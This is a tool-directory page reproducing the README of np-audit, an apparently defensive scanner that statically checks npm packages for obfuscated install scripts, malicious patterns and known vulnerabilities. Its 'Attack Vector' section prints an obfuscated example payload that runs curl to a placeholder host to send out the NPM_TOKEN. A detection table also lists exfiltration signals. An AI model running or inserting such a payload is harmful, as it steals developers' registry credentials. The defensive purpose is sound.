Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
np-audit — Static security analysis for npm packages. Detects obfuscated code, malicious patterns, and known vulnerabilities before installation. | Kitploit
Tools/GitHubGitHub/koblers/np-audit
Static AnalysisVulnerability ScannersCode AnalysisMalware AnalysisSecret DetectionSupply Chain Security
GitHubkoblers/np-audit

np-audit

Static security analysis for npm packages. Detects obfuscated code, malicious patterns, and known vulnerabilities before installation.

View Repository
71 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm package auditor

Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns before they run. Drop-in replacement for npm install and npm ci.

Zero dependencies. Pure Node.js built-ins only. < 100 kB on the wire.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Marshallers

Detection is split into modular marshallers — each one detects a single attack signal:

Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.

See CONTRIBUTING.md for how to write custom marshallers.


Vulnerability Scanning (CVE)

Every scanned package is checked against known vulnerability databases alongside the code analysis.

Default: OSV.dev (no setup required)

Works out of the box — queries the free OSV.dev API for known vulnerabilities and malicious package advisories.

Optional: Snyk API (richer data)

root@kitploit:~
# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Token resolution order: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

Severity

Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.


Usage

Commands

Any unrecognized command is forwarded to npm (e.g. npa run test, npa publish).

Flags

Interactive --review mode

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Configuration

Config is stored in ~/.npmauditor.json (global) and can be overridden per project with .npmauditor.json.

root@kitploit:~
npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

All config keys

Disabling marshallers

You can disable specific detection checks by adding their names to disabledMarshallers:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

To see all available marshaller names and their current status:

root@kitploit:~
npa config marshallers

This is useful when a marshaller produces false positives for your workflow. Disabled marshallers are skipped entirely during both static code analysis and package-level checks.


Shell Alias

Use npa as a transparent npm replacement:

root@kitploit:~
npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Now npm install, npm ci scan automatically. All other npm commands (npm run, npm test, npm publish) pass through unchanged.

root@kitploit:~
npa alias --uninstall   # remove the alias

How It Works

  1. Parse package-lock.json (v1/v2/v3) or resolve from package.json
  2. Fetch tarballs from registry (or read from node_modules)
  3. Parse lifecycle commands — splits &&/||/;/|, handles node -e, sh -c, shell scripts
  4. Walk the require()/import graph from each entry (cycle detection, 50 file / 5 MB cap)
  5. Analyze with all marshallers — static code checks + CVE database queries
  6. Score and classify: DANGER / WARN / OK
  7. Report or proceed with install

The Attack Vector

Supply chain attacks abuse npm lifecycle scripts. When you run npm install, any preinstall/install/postinstall script runs automatically. Attackers hide payloads behind obfuscation:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Real-world incidents:

  • event-stream (2018) — Bitcoin wallet credential theft
  • ua-parser-js (2021) — crypto miner + info-stealer
  • node-ipc (2022) — geo-targeted wiper malware
  • colors / faker (2022) — maintainer sabotage
  • SAP CAP / cds-dbs (2025) — compromised package targeting enterprise developers

npa never executes scripts. It downloads and statically analyzes them.


Exit Codes

CodeMeaning
0All clean or only warnings
1One or more packages blocked

License

MIT

Download Tool
MarshallerWhat it detectsScore
eval/dynamic-execeval(), new Function(), indirect eval, vm.*, setTimeout with string8
obfuscator.io_0x variable naming patterns (obfuscator.io output)9–80
high-entropy-stringLong strings or concatenation chains with high Shannon entropy6
hex-escape-densityDense \xNN and \uXXXX escape sequences5–50
fromCharCodeString.fromCharCode with many args, large decimal char-code arrays7
encoded-decodeBase64/hex decode (atob, Buffer.from) optionally combined with eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayLarge numbers of 0x hex literal values7–60
process-envprocess.env access (credential exfiltration signal)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (backdoor persistence)3–4
runtime-downloadDownloads and executes external runtimes (Bun, Deno)9–50
vscode-autorunVS Code tasks with runOn: folderOpen (auto-execution)30
known-vulnerabilityKnown CVEs via Snyk API or OSV.dev4–6 (WARN), 80 (malicious)
Score
Verdict
Malicious package80DANGER
10+ vulnerabilities6WARN
5–9 vulnerabilities5WARN
1–4 vulnerabilities4WARN
CommandAliasDescription
npa install [package]npa iAudit then run npm install
npa ci—Audit then run npm ci
npa scan [package]npa sScan only, no install
npa config getnpa c getShow current configuration
npa config set <key> <value>npa c setUpdate a config value
npa alias --install—Install shell alias
npa alias --uninstall—Remove shell alias
FlagAliasWorks withDescription
--review-rinstall, ciInteractive mode — choose which scripts to allow
--json—install, ci, scanMachine-readable JSON output
--no-dev—install, ci, scanSkip devDependencies
--verbose—allShow fetch progress and extra detail
--version-v—Print version and exit
--help-h—Print help and exit
KeyDefaultDescription
blockScore7Score threshold for DANGER (exit 1)
warnScore4Score threshold for WARN (exit 0)
registryhttps://registry.npmjs.orgnpm registry URL
timeout30000HTTP request timeout (ms)
parallelFetches5Concurrent downloads
skipScopes[]@scope prefixes to skip
skipPackages[]Package names to skip
silentfalseSuppress output when no issues found
scanSelftrueScan own project lifecycle scripts
maxTarballSize50MBMax unpacked tarball size (bomb protection)
checkVulnerabilitiestrueCheck packages against CVE databases
deepResolvefalseResolve full transitive dependency tree
disabledMarshallers[]Marshaller names to skip during scanning